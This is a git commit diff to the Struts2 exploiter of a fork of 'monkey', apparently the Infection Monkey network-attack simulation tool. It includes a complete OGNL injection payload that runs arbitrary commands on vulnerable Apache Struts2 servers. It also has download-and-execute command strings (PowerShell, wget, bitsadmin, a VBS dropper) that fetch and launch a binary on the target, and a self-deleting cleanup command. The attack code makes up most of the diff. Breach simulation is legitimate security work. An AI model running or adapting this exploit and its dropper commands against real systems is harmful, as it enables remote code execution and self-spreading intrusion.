forked from p34709852/monkey
Some notes fixed
This commit is contained in:
parent
208411d6fc
commit
7ce790affa
|
@ -8,31 +8,19 @@ import httplib
|
|||
import unicodedata
|
||||
import re
|
||||
|
||||
from network.tools import check_tcp_ports
|
||||
import logging
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from tools import build_monkey_commandline, HTTPTools
|
||||
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, DROPPER_ARG
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
ID_STRING = "M0NK3YSTRUTS2"
|
||||
MONKEY_ARG = "m0nk3y"
|
||||
# Commands used for downloading monkeys
|
||||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
|
||||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
|
||||
# Commands used to check for architecture
|
||||
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
||||
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
||||
# Commands used to check if monkeys already exists
|
||||
EXISTS = "ls %s"
|
||||
DOWNLOAD_TIMEOUT = 300
|
||||
|
||||
WEB_PORTS = [80, 443, 8080]
|
||||
DOWNLOAD_TIMEOUT = 30
|
||||
# In seconds. This is set so that we don't have to wait for monkeys' output.
|
||||
RESPONSE_TIMEOUT = 1
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (DROPPER_ARG, )
|
||||
|
||||
|
||||
class Struts2Exploiter(HostExploiter):
|
||||
|
@ -42,23 +30,24 @@ class Struts2Exploiter(HostExploiter):
|
|||
super(Struts2Exploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||
|
||||
def exploit_host(self):
|
||||
# Initializing vars for convenience
|
||||
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
|
||||
dropper_path_linux = self._config.dropper_target_path_linux
|
||||
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
||||
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
||||
|
||||
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
|
||||
|
||||
if not ports:
|
||||
LOG.info("All web ports are closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
for port in ports:
|
||||
if port == 443:
|
||||
current_host = "https://%s:%d" % (self.host.ip_addr, port)
|
||||
if port[1]:
|
||||
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
|
||||
else:
|
||||
current_host = "http://%s:%d" % (self.host.ip_addr, port)
|
||||
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
|
||||
# Get full URL
|
||||
url = self.get_redirected(current_host)
|
||||
LOG.info("Trying to exploit with struts2")
|
||||
|
@ -103,7 +92,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
self.exploit(url, command, RESPONSE_TIMEOUT)
|
||||
self.exploit(url, command)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
@ -127,7 +116,7 @@ class Struts2Exploiter(HostExploiter):
|
|||
# If monkey already exists and option not to exploit in that case is selected
|
||||
if self.skip_exist:
|
||||
for dropper_path in dropper_paths:
|
||||
if self.check_remote_file(url, dropper_path):
|
||||
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
|
||||
return True
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
@ -151,7 +140,13 @@ class Struts2Exploiter(HostExploiter):
|
|||
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
self.exploit(url, command, RESPONSE_TIMEOUT)
|
||||
backup_command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
resp = self.exploit(url, command)
|
||||
|
||||
if 'powershell is not recognized' in resp:
|
||||
self.exploit(url, backup_command)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
@ -195,33 +190,31 @@ class Struts2Exploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
@staticmethod
|
||||
def exploit(url, cmd, timeout=None):
|
||||
def exploit(url, cmd):
|
||||
"""
|
||||
:param url: Full url to send request to
|
||||
:param cmd: Code to try and execute on host
|
||||
:param timeout: How long to wait for response in seconds(if monkey is being executed
|
||||
it's better not to wait it's whole output). By default we wait.
|
||||
:return: response
|
||||
"""
|
||||
page = ""
|
||||
|
||||
payload = "%{(#_='multipart/form-data')."
|
||||
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||
payload += "(#_memberAccess?"
|
||||
payload += "(#_memberAccess=#dm):"
|
||||
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||
payload += "(#ognlUtil.getExcludedClasses().clear())."
|
||||
payload += "(#context.setMemberAccess(#dm))))."
|
||||
payload += "(#cmd='%s')." % cmd
|
||||
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
||||
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
||||
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
||||
payload += "(#ros.flush())}"
|
||||
payload = "%%{(#_='multipart/form-data')." \
|
||||
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
||||
"(#_memberAccess?" \
|
||||
"(#_memberAccess=#dm):" \
|
||||
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
||||
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
||||
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
||||
"(#ognlUtil.getExcludedClasses().clear())." \
|
||||
"(#context.setMemberAccess(#dm))))." \
|
||||
"(#cmd='%s')." \
|
||||
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
||||
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
||||
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
||||
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
||||
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
||||
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||
"(#ros.flush())}" % cmd
|
||||
# Turns payload ascii just for consistency
|
||||
if isinstance(payload, unicode):
|
||||
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||
|
@ -229,13 +222,26 @@ class Struts2Exploiter(HostExploiter):
|
|||
try:
|
||||
request = urllib2.Request(url, headers=headers)
|
||||
# Timeout added or else we would wait for all monkeys' output
|
||||
page = urllib2.urlopen(request, timeout=timeout).read()
|
||||
page = urllib2.urlopen(request).read()
|
||||
except AttributeError:
|
||||
# If url does not exist
|
||||
return False
|
||||
except httplib.IncompleteRead, e:
|
||||
except httplib.IncompleteRead as e:
|
||||
page = e.partial
|
||||
except Exception:
|
||||
LOG.info("Request timed out, because monkey is still running on remote host")
|
||||
|
||||
return page
|
||||
|
||||
@staticmethod
|
||||
def get_exploitable_ports(host, port_list, names):
|
||||
candidate_services = {}
|
||||
for name in names:
|
||||
chosen_services = {
|
||||
service: host.services[service] for service in host.services if
|
||||
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
||||
}
|
||||
candidate_services.update(chosen_services)
|
||||
|
||||
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||
'tcp-' + str(port) in candidate_services]
|
||||
|
||||
return valid_ports
|
||||
|
|
|
@ -4,6 +4,7 @@ __author__ = 'itamar'
|
|||
|
||||
MONKEY_ARG = "m0nk3y"
|
||||
DROPPER_ARG = "dr0pp3r"
|
||||
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||
|
@ -14,3 +15,12 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
|
|||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||
|
||||
# Commands used for downloading monkeys
|
||||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
|
||||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
||||
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
||||
# Commands used to check if monkeys already exists
|
||||
EXISTS = "ls %s"
|
Loading…
Reference in New Issue